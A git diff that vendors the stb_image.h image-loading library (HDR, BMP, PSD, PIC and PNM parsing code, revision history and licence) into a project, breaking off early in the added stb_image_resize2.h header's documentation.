+      return stbi__errpf("too large", "HDR image is too large");
+
+   // Read data
+   hdr_data = (float *) stbi__malloc_mad4(width, height, req_comp, sizeof(float), 0);
+   if (!hdr_data)
+      return stbi__errpf("outofmem", "Out of memory");
+
+   // Load image data
+   // image data is stored as some number of sca
+   if ( width < 8 || width >= 32768) {
+      // Read flat data
+      for (j=0; j < height; ++j) {
+         for (i=0; i < width; ++i) {
+            stbi_uc rgbe[4];
+           main_decode_loop:
+            stbi__getn(s, rgbe, 4);
+            stbi__hdr_convert(hdr_data + j * width * req_comp + i * req_comp, rgbe, req_comp);
+         }
+      }
+   } else {
+      // Read RLE-encoded data
+      scanline = NULL;
+
+      for (j = 0; j < height; ++j) {
+         c1 = stbi__get8(s);
+         c2 = stbi__get8(s);
+         len = stbi__get8(s);
+         if (c1 != 2 || c2 != 2 || (len & 0x80)) {
+            // not run-length encoded, so we have to actually use THIS data as a decoded
+            // pixel (note this can't be a valid pixel--one of RGB must be >= 128)
+            stbi_uc rgbe[4];
+            rgbe[0] = (stbi_uc) c1;
+            rgbe[1] = (stbi_uc) c2;
+            rgbe[2] = (stbi_uc) len;
+            rgbe[3] = (stbi_uc) stbi__get8(s);
+            stbi__hdr_convert(hdr_data, rgbe, req_comp);
+            i = 1;
+            j = 0;
+            STBI_FREE(scanline);
+            goto main_decode_loop; // yes, this makes no sense
+         }
+         len <<= 8;
+         len |= stbi__get8(s);
+         if (len != width) { STBI_FREE(hdr_data); STBI_FREE(scanline); return stbi__errpf("invalid decoded scanline length", "corrupt HDR"); }
+         if (scanline == NULL) {
+            scanline = (stbi_uc *) stbi__malloc_mad2(width, 4, 0);
+            if (!scanline) {
+               STBI_FREE(hdr_data);
+               return stbi__errpf("outofmem", "Out of memory");
+            }
+         }
+
+         for (k = 0; k < 4; ++k) {
+            int nleft;
+            i = 0;
+            while ((nleft = width - i) > 0) {
+               count = stbi__get8(s);
+               if (count > 128) {
+                  // Run
+                  value = stbi__get8(s);
+                  count -= 128;
+                  if ((count == 0) || (count > nleft)) { STBI_FREE(hdr_data); STBI_FREE(scanline); return stbi__errpf("corrupt", "bad RLE data in HDR"); }
+                  for (z = 0; z < count; ++z)
+                     scanline[i++ * 4 + k] = value;
+               } else {
+                  // Dump
+                  if ((count == 0) || (count > nleft)) { STBI_FREE(hdr_data); STBI_FREE(scanline); return stbi__errpf("corrupt", "bad RLE data in HDR"); }
+                  for (z = 0; z < count; ++z)
+                     scanline[i++ * 4 + k] = stbi__get8(s);
+               }
+            }
+         }
+         for (i=0; i < width; ++i)
+            stbi__hdr_convert(hdr_data+(j*width + i)*req_comp, scanline + i*4, req_comp);
+      }
+      if (scanline)
+         STBI_FREE(scanline);
+   }
+
+   return hdr_data;
+}
+
+static int stbi__hdr_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   char buffer[STBI__HDR_BUFLEN];
+   char *token;
+   int valid = 0;
+   int dummy;
+
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+
+   if (stbi__hdr_test(s) == 0) {
+       stbi__rewind( s );
+       return 0;
+   }
+
+   for(;;) {
+      token = stbi__hdr_gettoken(s,buffer);
+      if (token[0] == 0) break;
+      if (strcmp(token, "FORMAT=32-bit_rle_rgbe") == 0) valid = 1;
+   }
+
+   if (!valid) {
+       stbi__rewind( s );
+       return 0;
+   }
+   token = stbi__hdr_gettoken(s,buffer);
+   if (strncmp(token, "-Y ", 3)) {
+       stbi__rewind( s );
+       return 0;
+   }
+   token += 3;
+   *y = (int) strtol(token, &token, 10);
+   while (*token == ' ') ++token;
+   if (strncmp(token, "+X ", 3)) {
+       stbi__rewind( s );
+       return 0;
+   }
+   token += 3;
+   *x = (int) strtol(token, NULL, 10);
+   *comp = 3;
+   return 1;
+}
+#endif // STBI_NO_HDR
+
+#ifndef STBI_NO_BMP
+static int stbi__bmp_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   void *p;
+   stbi__bmp_data info;
+
+   info.all_a = 255;
+   p = stbi__bmp_parse_header(s, &info);
+   if (p == NULL) {
+      stbi__rewind( s );
+      return 0;
+   }
+   if (x) *x = s->img_x;
+   if (y) *y = s->img_y;
+   if (comp) {
+      if (info.bpp == 24 && info.ma == 0xff000000)
+         *comp = 3;
+      else
+         *comp = info.ma ? 4 : 3;
+   }
+   return 1;
+}
+#endif
+
+#ifndef STBI_NO_PSD
+static int stbi__psd_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int channelCount, dummy, depth;
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+   if (stbi__get32be(s) != 0x38425053) {
+       stbi__rewind( s );
+       return 0;
+   }
+   if (stbi__get16be(s) != 1) {
+       stbi__rewind( s );
+       return 0;
+   }
+   stbi__skip(s, 6);
+   channelCount = stbi__get16be(s);
+   if (channelCount < 0 || channelCount > 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   *y = stbi__get32be(s);
+   *x = stbi__get32be(s);
+   depth = stbi__get16be(s);
+   if (depth != 8 && depth != 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   if (stbi__get16be(s) != 3) {
+       stbi__rewind( s );
+       return 0;
+   }
+   *comp = 4;
+   return 1;
+}
+
+static int stbi__psd_is16(stbi__context *s)
+{
+   int channelCount, depth;
+   if (stbi__get32be(s) != 0x38425053) {
+       stbi__rewind( s );
+       return 0;
+   }
+   if (stbi__get16be(s) != 1) {
+       stbi__rewind( s );
+       return 0;
+   }
+   stbi__skip(s, 6);
+   channelCount = stbi__get16be(s);
+   if (channelCount < 0 || channelCount > 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   STBI_NOTUSED(stbi__get32be(s));
+   STBI_NOTUSED(stbi__get32be(s));
+   depth = stbi__get16be(s);
+   if (depth != 16) {
+       stbi__rewind( s );
+       return 0;
+   }
+   return 1;
+}
+#endif
+
+#ifndef STBI_NO_PIC
+static int stbi__pic_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int act_comp=0,num_packets=0,chained,dummy;
+   stbi__pic_packet packets[10];
+
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+
+   if (!stbi__pic_is4(s,"\x53\x80\xF6\x34")) {
+      stbi__rewind(s);
+      return 0;
+   }
+
+   stbi__skip(s, 88);
+
+   *x = stbi__get16be(s);
+   *y = stbi__get16be(s);
+   if (stbi__at_eof(s)) {
+      stbi__rewind( s);
+      return 0;
+   }
+   if ( (*x) != 0 && (1 << 28) / (*x) < (*y)) {
+      stbi__rewind( s );
+      return 0;
+   }
+
+   stbi__skip(s, 8);
+
+   do {
+      stbi__pic_packet *packet;
+
+      if (num_packets==sizeof(packets)/sizeof(packets[0]))
+         return 0;
+
+      packet = &packets[num_packets++];
+      chained = stbi__get8(s);
+      packet->size    = stbi__get8(s);
+      packet->type    = stbi__get8(s);
+      packet->channel = stbi__get8(s);
+      act_comp |= packet->channel;
+
+      if (stbi__at_eof(s)) {
+          stbi__rewind( s );
+          return 0;
+      }
+      if (packet->size != 8) {
+          stbi__rewind( s );
+          return 0;
+      }
+   } while (chained);
+
+   *comp = (act_comp & 0x10 ? 4 : 3);
+
+   return 1;
+}
+#endif
+
+// *************************************************************************************************
+// Portable Gray Map and Portable Pixel Map loader
+// by Ken Miller
+//
+// PGM: http://netpbm.sourceforge.net/doc/pgm.html
+// PPM: http://netpbm.sourceforge.net/doc/ppm.html
+//
+// Known limitations:
+//    Does not support comments in the header section
+//    Does not support ASCII image data (formats P2 and P3)
+
+#ifndef STBI_NO_PNM
+
+static int      stbi__pnm_test(stbi__context *s)
+{
+   char p, t;
+   p = (char) stbi__get8(s);
+   t = (char) stbi__get8(s);
+   if (p != 'P' || (t != '5' && t != '6')) {
+       stbi__rewind( s );
+       return 0;
+   }
+   return 1;
+}
+
+static void *stbi__pnm_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   stbi_uc *out;
+   STBI_NOTUSED(ri);
+
+   ri->bits_per_channel = stbi__pnm_info(s, (int *)&s->img_x, (int *)&s->img_y, (int *)&s->img_n);
+   if (ri->bits_per_channel == 0)
+      return 0;
+
+   if (s->img_y > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+   if (s->img_x > STBI_MAX_DIMENSIONS) return stbi__errpuc("too large","Very large image (corrupt?)");
+
+   *x = s->img_x;
+   *y = s->img_y;
+   if (comp) *comp = s->img_n;
+
+   if (!stbi__mad4sizes_valid(s->img_n, s->img_x, s->img_y, ri->bits_per_channel / 8, 0))
+      return stbi__errpuc("too large", "PNM too large");
+
+   out = (stbi_uc *) stbi__malloc_mad4(s->img_n, s->img_x, s->img_y, ri->bits_per_channel / 8, 0);
+   if (!out) return stbi__errpuc("outofmem", "Out of memory");
+   if (!stbi__getn(s, out, s->img_n * s->img_x * s->img_y * (ri->bits_per_channel / 8))) {
+      STBI_FREE(out);
+      return stbi__errpuc("bad PNM", "PNM file truncated");
+   }
+
+   if (req_comp && req_comp != s->img_n) {
+      if (ri->bits_per_channel == 16) {
+         out = (stbi_uc *) stbi__convert_format16((stbi__uint16 *) out, s->img_n, req_comp, s->img_x, s->img_y);
+      } else {
+         out = stbi__convert_format(out, s->img_n, req_comp, s->img_x, s->img_y);
+      }
+      if (out == NULL) return out; // stbi__convert_format frees input on failure
+   }
+   return out;
+}
+
+static int      stbi__pnm_isspace(char c)
+{
+   return c == ' ' || c == '\t' || c == '\n' || c == '\v' || c == '\f' || c == '\r';
+}
+
+static void     stbi__pnm_skip_whitespace(stbi__context *s, char *c)
+{
+   for (;;) {
+      while (!stbi__at_eof(s) && stbi__pnm_isspace(*c))
+         *c = (char) stbi__get8(s);
+
+      if (stbi__at_eof(s) || *c != '#')
+         break;
+
+      while (!stbi__at_eof(s) && *c != '\n' && *c != '\r' )
+         *c = (char) stbi__get8(s);
+   }
+}
+
+static int      stbi__pnm_isdigit(char c)
+{
+   return c >= '0' && c <= '9';
+}
+
+static int      stbi__pnm_getinteger(stbi__context *s, char *c)
+{
+   int value = 0;
+
+   while (!stbi__at_eof(s) && stbi__pnm_isdigit(*c)) {
+      value = value*10 + (*c - '0');
+      *c = (char) stbi__get8(s);
+      if((value > 214748364) || (value == 214748364 && *c > '7'))
+          return stbi__err("integer parse overflow", "Parsing an integer in the PPM header overflowed a 32-bit int");
+   }
+
+   return value;
+}
+
+static int      stbi__pnm_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int maxv, dummy;
+   char c, p, t;
+
+   if (!x) x = &dummy;
+   if (!y) y = &dummy;
+   if (!comp) comp = &dummy;
+
+   stbi__rewind(s);
+
+   // Get identifier
+   p = (char) stbi__get8(s);
+   t = (char) stbi__get8(s);
+   if (p != 'P' || (t != '5' && t != '6')) {
+       stbi__rewind(s);
+       return 0;
+   }
+
+   *comp = (t == '6') ? 3 : 1;  // '5' is 1-component .pgm; '6' is 3-component .ppm
+
+   c = (char) stbi__get8(s);
+   stbi__pnm_skip_whitespace(s, &c);
+
+   *x = stbi__pnm_getinteger(s, &c); // read width
+   if(*x == 0)
+       return stbi__err("invalid width", "PPM image header had zero or overflowing width");
+   stbi__pnm_skip_whitespace(s, &c);
+
+   *y = stbi__pnm_getinteger(s, &c); // read height
+   if (*y == 0)
+       return stbi__err("invalid width", "PPM image header had zero or overflowing width");
+   stbi__pnm_skip_whitespace(s, &c);
+
+   maxv = stbi__pnm_getinteger(s, &c);  // read max value
+   if (maxv > 65535)
+      return stbi__err("max value > 65535", "PPM image supports only 8-bit and 16-bit images");
+   else if (maxv > 255)
+      return 16;
+   else
+      return 8;
+}
+
+static int stbi__pnm_is16(stbi__context *s)
+{
+   if (stbi__pnm_info(s, NULL, NULL, NULL) == 16)
+	   return 1;
+   return 0;
+}
+#endif
+
+static int stbi__info_main(stbi__context *s, int *x, int *y, int *comp)
+{
+   #ifndef STBI_NO_JPEG
+   if (stbi__jpeg_info(s, x, y, comp)) return 1;
+   #endif
+
+   #ifndef STBI_NO_PNG
+   if (stbi__png_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_GIF
+   if (stbi__gif_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_BMP
+   if (stbi__bmp_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PSD
+   if (stbi__psd_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PIC
+   if (stbi__pic_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PNM
+   if (stbi__pnm_info(s, x, y, comp))  return 1;
+   #endif
+
+   #ifndef STBI_NO_HDR
+   if (stbi__hdr_info(s, x, y, comp))  return 1;
+   #endif
+
+   // test tga last because it's a crappy test!
+   #ifndef STBI_NO_TGA
+   if (stbi__tga_info(s, x, y, comp))
+       return 1;
+   #endif
+   return stbi__err("unknown image type", "Image not of any known type, or corrupt");
+}
+
+static int stbi__is_16_main(stbi__context *s)
+{
+   #ifndef STBI_NO_PNG
+   if (stbi__png_is16(s))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PSD
+   if (stbi__psd_is16(s))  return 1;
+   #endif
+
+   #ifndef STBI_NO_PNM
+   if (stbi__pnm_is16(s))  return 1;
+   #endif
+   return 0;
+}
+
+#ifndef STBI_NO_STDIO
+STBIDEF int stbi_info(char const *filename, int *x, int *y, int *comp)
+{
+    FILE *f = stbi__fopen(filename, "rb");
+    int result;
+    if (!f) return stbi__err("can't fopen", "Unable to open file");
+    result = stbi_info_from_file(f, x, y, comp);
+    fclose(f);
+    return result;
+}
+
+STBIDEF int stbi_info_from_file(FILE *f, int *x, int *y, int *comp)
+{
+   int r;
+   stbi__context s;
+   long pos = ftell(f);
+   stbi__start_file(&s, f);
+   r = stbi__info_main(&s,x,y,comp);
+   fseek(f,pos,SEEK_SET);
+   return r;
+}
+
+STBIDEF int stbi_is_16_bit(char const *filename)
+{
+    FILE *f = stbi__fopen(filename, "rb");
+    int result;
+    if (!f) return stbi__err("can't fopen", "Unable to open file");
+    result = stbi_is_16_bit_from_file(f);
+    fclose(f);
+    return result;
+}
+
+STBIDEF int stbi_is_16_bit_from_file(FILE *f)
+{
+   int r;
+   stbi__context s;
+   long pos = ftell(f);
+   stbi__start_file(&s, f);
+   r = stbi__is_16_main(&s);
+   fseek(f,pos,SEEK_SET);
+   return r;
+}
+#endif // !STBI_NO_STDIO
+
+STBIDEF int stbi_info_from_memory(stbi_uc const *buffer, int len, int *x, int *y, int *comp)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__info_main(&s,x,y,comp);
+}
+
+STBIDEF int stbi_info_from_callbacks(stbi_io_callbacks const *c, void *user, int *x, int *y, int *comp)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) c, user);
+   return stbi__info_main(&s,x,y,comp);
+}
+
+STBIDEF int stbi_is_16_bit_from_memory(stbi_uc const *buffer, int len)
+{
+   stbi__context s;
+   stbi__start_mem(&s,buffer,len);
+   return stbi__is_16_main(&s);
+}
+
+STBIDEF int stbi_is_16_bit_from_callbacks(stbi_io_callbacks const *c, void *user)
+{
+   stbi__context s;
+   stbi__start_callbacks(&s, (stbi_io_callbacks *) c, user);
+   return stbi__is_16_main(&s);
+}
+
+#endif // STB_IMAGE_IMPLEMENTATION
+
+/*
+   revision history:
+      2.20  (2019-02-07) support utf8 filenames in Windows; fix warnings and platform ifdefs
+      2.19  (2018-02-11) fix warning
+      2.18  (2018-01-30) fix warnings
+      2.17  (2018-01-29) change sbti__shiftsigned to avoid clang -O2 bug
+                         1-bit BMP
+                         *_is_16_bit api
+                         avoid warnings
+      2.16  (2017-07-23) all functions have 16-bit variants;
+                         STBI_NO_STDIO works again;
+                         compilation fixes;
+                         fix rounding in unpremultiply;
+                         optimize vertical flip;
+                         disable raw_len validation;
+                         documentation fixes
+      2.15  (2017-03-18) fix png-1,2,4 bug; now all Imagenet JPGs decode;
+                         warning fixes; disable run-time SSE detection on gcc;
+                         uniform handling of optional "return" values;
+                         thread-safe initialization of zlib tables
+      2.14  (2017-03-03) remove deprecated STBI_JPEG_OLD; fixes for Imagenet JPGs
+      2.13  (2016-11-29) add 16-bit API, only supported for PNG right now
+      2.12  (2016-04-02) fix typo in 2.11 PSD fix that caused crashes
+      2.11  (2016-04-02) allocate large structures on the stack
+                         remove white matting for transparent PSD
+                         fix reported channel count for PNG & BMP
+                         re-enable SSE2 in non-gcc 64-bit
+                         support RGB-formatted JPEG
+                         read 16-bit PNGs (only as 8-bit)
+      2.10  (2016-01-22) avoid warning introduced in 2.09 by STBI_REALLOC_SIZED
+      2.09  (2016-01-16) allow comments in PNM files
+                         16-bit-per-pixel TGA (not bit-per-component)
+                         info() for TGA could break due to .hdr handling
+                         info() for BMP to shares code instead of sloppy parse
+                         can use STBI_REALLOC_SIZED if allocator doesn't support realloc
+                         code cleanup
+      2.08  (2015-09-13) fix to 2.07 cleanup, reading RGB PSD as RGBA
+      2.07  (2015-09-13) fix compiler warnings
+                         partial animated GIF support
+                         limited 16-bpc PSD support
+                         #ifdef unused functions
+                         bug with < 92 byte PIC,PNM,HDR,TGA
+      2.06  (2015-04-19) fix bug where PSD returns wrong '*comp' value
+      2.05  (2015-04-19) fix bug in progressive JPEG handling, fix warning
+      2.04  (2015-04-15) try to re-enable SIMD on MinGW 64-bit
+      2.03  (2015-04-12) extra corruption checking (mmozeiko)
+                         stbi_set_flip_vertically_on_load (nguillemot)
+                         fix NEON support; fix mingw support
+      2.02  (2015-01-19) fix incorrect assert, fix warning
+      2.01  (2015-01-17) fix various warnings; suppress SIMD on gcc 32-bit without -msse2
+      2.00b (2014-12-25) fix STBI_MALLOC in progressive JPEG
+      2.00  (2014-12-25) optimize JPG, including x86 SSE2 & NEON SIMD (ryg)
+                         progressive JPEG (stb)
+                         PGM/PPM support (Ken Miller)
+                         STBI_MALLOC,STBI_REALLOC,STBI_FREE
+                         GIF bugfix -- seemingly never worked
+                         STBI_NO_*, STBI_ONLY_*
+      1.48  (2014-12-14) fix incorrectly-named assert()
+      1.47  (2014-12-14) 1/2/4-bit PNG support, both direct and paletted (Omar Cornut & stb)
+                         optimize PNG (ryg)
+                         fix bug in interlaced PNG with user-specified channel count (stb)
+      1.46  (2014-08-26)
+              fix broken tRNS chunk (colorkey-style transparency) in non-paletted PNG
+      1.45  (2014-08-16)
+              fix MSVC-ARM internal compiler error by wrapping malloc
+      1.44  (2014-08-07)
+              various warning fixes from Ronny Chevalier
+      1.43  (2014-07-15)
+              fix MSVC-only compiler problem in code changed in 1.42
+      1.42  (2014-07-09)
+              don't define _CRT_SECURE_NO_WARNINGS (affects user code)
+              fixes to stbi__cleanup_jpeg path
+              added STBI_ASSERT to avoid requiring assert.h
+      1.41  (2014-06-25)
+              fix search&replace from 1.36 that messed up comments/error messages
+      1.40  (2014-06-22)
+              fix gcc struct-initialization warning
+      1.39  (2014-06-15)
+              fix to TGA optimization when req_comp != number of components in TGA;
+              fix to GIF loading because BMP wasn't rewinding (whoops, no GIFs in my test suite)
+              add support for BMP version 5 (more ignored fields)
+      1.38  (2014-06-06)
+              suppress MSVC warnings on integer casts truncating values
+              fix accidental rename of 'skip' field of I/O
+      1.37  (2014-06-04)
+              remove duplicate typedef
+      1.36  (2014-06-03)
+              convert to header file single-file library
+              if de-iphone isn't set, load iphone images color-swapped instead of returning NULL
+      1.35  (2014-05-27)
+              various warnings
+              fix broken STBI_SIMD path
+              fix bug where stbi_load_from_file no longer left file pointer in correct place
+              fix broken non-easy path for 32-bit BMP (possibly never used)
+              TGA optimization by Arseny Kapoulkine
+      1.34  (unknown)
+              use STBI_NOTUSED in stbi__resample_row_generic(), fix one more leak in tga failure case
+      1.33  (2011-07-14)
+              make stbi_is_hdr work in STBI_NO_HDR (as specified), minor compiler-friendly improvements
+      1.32  (2011-07-13)
+              support for "info" function for all supported filetypes (SpartanJ)
+      1.31  (2011-06-20)
+              a few more leak fixes, bug in PNG handling (SpartanJ)
+      1.30  (2011-06-11)
+              added ability to load files via callbacks to accomidate custom input streams (Ben Wenger)
+              removed deprecated format-specific test/load functions
+              removed support for installable file formats (stbi_loader) -- would have been broken for IO callbacks anyway
+              error cases in bmp and tga give messages and don't leak (Raymond Barbiero, grisha)
+              fix inefficiency in decoding 32-bit BMP (David Woo)
+      1.29  (2010-08-16)
+              various warning fixes from Aurelien Pocheville
+      1.28  (2010-08-01)
+              fix bug in GIF palette transparency (SpartanJ)
+      1.27  (2010-08-01)
+              cast-to-stbi_uc to fix warnings
+      1.26  (2010-07-24)
+              fix bug in file buffering for PNG reported by SpartanJ
+      1.25  (2010-07-17)
+              refix trans_data warning (Won Chun)
+      1.24  (2010-07-12)
+              perf improvements reading from files on platforms with lock-heavy fgetc()
+              minor perf improvements for jpeg
+              deprecated type-specific functions so we'll get feedback if they're needed
+              attempt to fix trans_data warning (Won Chun)
+      1.23    fixed bug in iPhone support
+      1.22  (2010-07-10)
+              removed image *writing* support
+              stbi_info support from Jetro Lauha
+              GIF support from Jean-Marc Lienher
+              iPhone PNG-extensions from James Brown
+              warning-fixes from Nicolas Schulz and Janez Zemva (i.stbi__err. Janez (U+017D)emva)
+      1.21    fix use of 'stbi_uc' in header (reported by jon blow)
+      1.20    added support for Softimage PIC, by Tom Seddon
+      1.19    bug in interlaced PNG corruption check (found by ryg)
+      1.18  (2008-08-02)
+              fix a threading bug (local mutable static)
+      1.17    support interlaced PNG
+      1.16    major bugfix - stbi__convert_format converted one too many pixels
+      1.15    initialize some fields for thread safety
+      1.14    fix threadsafe conversion bug
+              header-file-only version (#define STBI_HEADER_FILE_ONLY before including)
+      1.13    threadsafe
+      1.12    const qualifiers in the API
+      1.11    Support installable IDCT, colorspace conversion routines
+      1.10    Fixes for 64-bit (don't use "unsigned long")
+              optimized upsampling by Fabian "ryg" Giesen
+      1.09    Fix format-conversion for PSD code (bad global variables!)
+      1.08    Thatcher Ulrich's PSD code integrated by Nicolas Schulz
+      1.07    attempt to fix C++ warning/errors again
+      1.06    attempt to fix C++ warning/errors again
+      1.05    fix TGA loading to return correct *comp and use good luminance calc
+      1.04    default float alpha is 1, not 255; use 'void *' for stbi_image_free
+      1.03    bugfixes to STBI_NO_STDIO, STBI_NO_HDR
+      1.02    support for (subset of) HDR files, float interface for preferred access to them
+      1.01    fix bug: possible bug in handling right-side up bmps... not sure
+              fix bug: the stbi__bmp_load() and stbi__tga_load() functions didn't work at all
+      1.00    interface to zlib that skips zlib header
+      0.99    correct handling of alpha in palette
+      0.98    TGA loader by lonesock; dynamically add loaders (untested)
+      0.97    jpeg errors on too large a file; also catch another malloc failure
+      0.96    fix detection of invalid v value - particleman@mollyrocket forum
+      0.95    during header scan, seek to markers in case of padding
+      0.94    STBI_NO_STDIO to disable stdio usage; rename all #defines the same
+      0.93    handle jpegtran output; verbose errors
+      0.92    read 4,8,16,24,32-bit BMP files of several formats
+      0.91    output 24-bit Windows 3.0 BMP files
+      0.90    fix a few more warnings; bump version number to approach 1.0
+      0.61    bugfixes due to Marc LeBlanc, Christopher Lloyd
+      0.60    fix compiling as c++
+      0.59    fix warnings: merge Dave Moore's -Wall fixes
+      0.58    fix bug: zlib uncompressed mode len/nlen was wrong endian
+      0.57    fix bug: jpg last huffman symbol before marker was >9 bits but less than 16 available
+      0.56    fix bug: zlib uncompressed mode len vs. nlen
+      0.55    fix bug: restart_interval not initialized to 0
+      0.54    allow NULL for 'int *comp'
+      0.53    fix bug in png 3->4; speedup png decoding
+      0.52    png handles req_comp=3,4 directly; minor cleanup; jpeg comments
+      0.51    obey req_comp requests, 1-component jpegs return as 1-component,
+              on 'test' only check type, not whether we support this variant
+      0.50  (2006-11-19)
+              first released version
+*/
+
+
+/*
+------------------------------------------------------------------------------
+This software is available under 2 licenses -- choose whichever you prefer.
+------------------------------------------------------------------------------
+ALTERNATIVE A - MIT License
+Copyright (c) 2017 Sean Barrett
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+------------------------------------------------------------------------------
+ALTERNATIVE B - Public Domain (www.unlicense.org)
+This is free and unencumbered software released into the public domain.
+Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
+software, either in source code form or as a compiled binary, for any purpose,
+commercial or non-commercial, and by any means.
+In jurisdictions that recognize copyright laws, the author or authors of this
+software dedicate any and all copyright interest in the software to the public
+domain. We make this dedication for the benefit of the public at large and to
+the detriment of our heirs and successors. We intend this dedication to be an
+overt act of relinquishment in perpetuity of all present and future rights to
+this software under copyright law.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+------------------------------------------------------------------------------
+*/
diff --git a/src/stb_image/include/stb_image_resize2.h b/src/stb_image/include/stb_image_resize2.h
new file mode 100644
index 0000000..4ce1d09
--- /dev/null
+++ b/src/stb_image/include/stb_image_resize2.h
@@ -0,0 +1,10663 @@
+/* stb_image_resize2 - v2.16 - public domain image resizing
+
+   by Jeff Roberts (v2) and Jorge L Rodriguez
+   http://github.com/nothings/stb
+
+   Can be threaded with the extended API. SSE2, AVX, Neon and WASM SIMD support. Only
+   scaling and translation is supported, no rotations or shears.
+
+   COMPILING & LINKING
+      In one C/C++ file that #includes this file, do this:
+         #define STB_IMAGE_RESIZE_IMPLEMENTATION
+      before the #include. That will create the implementation in that file.
+
+   EASY API CALLS:
+     Easy API downsamples w/Mitchell filter, upsamples w/cubic interpolation, clamps to edge.
+
+     stbir_resize_uint8_srgb( input_pixels,  input_w,  input_h,  input_stride_in_bytes,
+                              output_pixels, output_w, output_h, output_stride_in_bytes,
+                              pixel_layout_enum )
+
+     stbir_resize_uint8_linear( input_pixels,  input_w,  input_h,  input_stride_in_bytes,
+                                output_pixels, output_w, output_h, output_stride_in_bytes,
+                                pixel_layout_enum )
+
+     stbir_resize_float_linear( input_pixels,  input_w,  input_h,  input_stride_in_bytes,
+                                output_pixels, output_w, output_h, output_stride_in_bytes,
+                                pixel_layout_enum )
+
+     If you pass NULL or zero for the output_pixels, we will allocate the output buffer
+     for you and return it from the function (free with free() or STBIR_FREE).
+     As a special case, XX_stride_in_bytes of 0 means packed continuously in memory.
+
+   API LEVELS
+      There are three levels of API - easy-to-use, medium-complexity and extended-complexity.
+
+      See the "header file" section of the source for API documentation.
+
+   ADDITIONAL DOCUMENTATION
+
+      MEMORY ALLOCATION
+         By default, we use malloc and free for memory allocation.  To override the
+         memory allocation, before the implementation #include, add a:
+
+            #define STBIR_MALLOC(size,user_data) ...
+            #define STBIR_FREE(ptr,user_data)   ...
+
+         Each resize makes exactly one call to malloc/free (unless you use the
+         extended API where you can do one allocation for many resizes). Under
+         address sanitizer, we do separate allocations to find overread/writes.
+
+      PERFORMANCE
+         This library was written with an emphasis on performance. When testing
+         stb_image_resize with RGBA, the fastest mode is STBIR_4CHANNEL with
+         STBIR_TYPE_UINT8 pixels and CLAMPed edges (which is what many other resize
+         libs do by default). Also, make sure SIMD is turned on of course (default
+         for 64-bit targets). Avoid WRAP edge mode if you want the fastest speed.
+
+         This library also comes with profiling built-in. If you define STBIR_PROFILE,
+         you can use the advanced API and get low-level profiling information by
+         calling stbir_resize_extended_profile_info() or stbir_resize_split_profile_info()
+         after a resize.
+
+      SIMD
+         Most of the routines have optimized SSE2, AVX, NEON and WASM versions.
+
+         On Microsoft compilers, we automatically turn on SIMD for 64-bit x64 and
+         ARM; for 32-bit x86 and ARM, you select SIMD mode by defining STBIR_SSE2 or
+         STBIR_NEON. For AVX and AVX2, we auto-select it by detecting the /arch:AVX
+         or /arch:AVX2 switches. You can also always manually turn SSE2, AVX or AVX2
+         support on by defining STBIR_SSE2, STBIR_AVX or STBIR_AVX2.
+
+         On Linux, SSE2 and Neon is on by default for 64-bit x64 or ARM64. For 32-bit,
+         we select x86 SIMD mode by whether you have -msse2, -mavx or -mavx2 enabled
+         on the command line. For 32-bit ARM, you must pass -mfpu=neon-vfpv4 for both
+         clang and GCC, but GCC also requires an additional -mfp16-format=ieee to
+         automatically enable NEON.
+
+         On x86 platforms, you can also define STBIR_FP16C to turn on FP16C instructions
+         for converting back and forth to half-floats. This is autoselected when we
+         are using AVX2. Clang and GCC also require the -mf16c switch. ARM always uses
